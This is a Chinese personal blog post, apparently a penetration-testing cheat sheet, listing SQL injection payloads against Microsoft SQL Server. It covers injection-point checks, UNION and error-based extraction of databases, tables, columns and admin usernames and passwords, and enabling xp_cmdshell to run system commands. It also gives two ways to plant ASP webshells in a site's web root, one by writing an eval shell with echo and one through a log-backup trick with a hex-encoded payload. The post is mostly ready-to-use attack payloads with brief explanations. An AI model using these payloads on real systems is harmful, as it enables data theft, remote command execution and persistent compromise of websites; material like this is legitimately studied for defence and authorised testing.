骑木马的哥哥博客

独上高楼,望尽天涯路

Menu
  • 首页
  • 站点地图
  • 文件库
  • 关于
Menu

web安全之SQL注入sqlserver篇

Posted on 2021年1月20日2021年1月20日 by 骑木马的哥哥

注释符:

–空格,以及/*注释内容,可以多行*/

注入点判断:

单引号,and 1=1,或and 1=2

判断字段数:

order by 5

联合查询:

union select null,null,null #sqlserver对数据类型要求比较严格,所以这里用null,null可兼容所有数据类型

一些函数:

db_name() 数据库名
@@version 版本信息
User_Name() 当前用户
host_name()  计算机名称

猜表和字段:

union select null,null,null from 表名

union select 字段名,字段名,字段名 from 表名

以上是基于显注的方法。其实可以利用sqlserver报错注入,更快捷的爆出敏感信息。

爆系统信息:

and @@version>0

爆数据库:

and db_name()>0

爆用户:

and user_name()>0

爆其他数据库:

and (SELECT top 1 Name FROM Master..SysDatabases)>0

and (SELECT top 1 Name FROM Master..SysDatabases where name not in (‘master’))>0

爆表名:

and (select top 1 name from [库名].sys.all_objects where type=’U’ AND is_ms_shipped=0)>0

and (select top 1 name from 库名.sys.all_objects where type=’U’ AND is_ms_shipped=0 and name not in (‘已知表名’))>0

爆列:

and  (select top 1 COLUMN_NAME from mydb.information_schema.columns where TABLE_NAME=’表名’ and COLUMN_NAME not in(‘ID’))>0

爆数据:

and (select top 1 字段名 from 表名)>0

and (select top 1 字段名1,字段名2 from 表名 FOR XML PATH)>0

爆某用户所有表:

and(select TABLE_NAME  from  information_schema.TABLES   where TABLE_SCHEMA=’用户名’ FOR XML PATH)>1

爆某表的所有列:

1 and(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=’表名’ FOR XML PATH)>1

多列爆数据:

and  ( select username,password from admin FOR XML PATH)>1

除了快速爆敏感信息之外,还可以执行系统命令。xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure 重新开启它。

开启xp_cmdshell:

;EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;

解释:

EXEC sp_configure ‘show advanced options’,1 //允许修改高级参数

RECONFIGUREEXEC sp_configure ‘xp_cmdshell’,1  //打开xp_cmdshell扩展

RECONFIGURE; //使配置生效

执行系统命令:

EXEC master.dbo.xp_cmdshell ‘ipconfig’

;exec master..xp_cmdshell ‘echo ^<%eval request(chr(35))%^> > 网站路径\shell.asp’ –空格

;EXEC master.dbo.xp_cmdshell ‘ipconfig >>网站路径\ip.txt’

使用日志备份备份拿shell:

;IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;alter database 库名 set RECOVERY FULL;
;drop table test_tmp
;create table test_tmp (a image);
;backup log mydb to disk ='网站目录/asp.bak' with init;
;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA)
;backup log mydb to disk = '网站目录/123.asp'
;drop table test_tmp

如果确定有注入点,但页面无论如何都不显示sql的执行结果,可以利openrowset将查询结果转发至远程的sqlserver服务器上。

发表评论 取消回复

邮箱地址不会被公开。 必填项已用*标注

致辞

欢迎光临骑木马的哥哥博客

搜索

分类

  • Linux
  • PHP
  • Python
  • 信息安全
  • 渗透测试
  • 观后感
  • 随笔
  • 默认分类

归档

近期评论

  • 龙果果发表在《记2021新年除夕夜》
  • 一位WordPress评论者发表在《世界,您好!》

友情链接

打怪升级|自学成菜
龍果果的家

© 2021 骑木马的哥哥博客 | Powered by Minimalist Blog WordPress Theme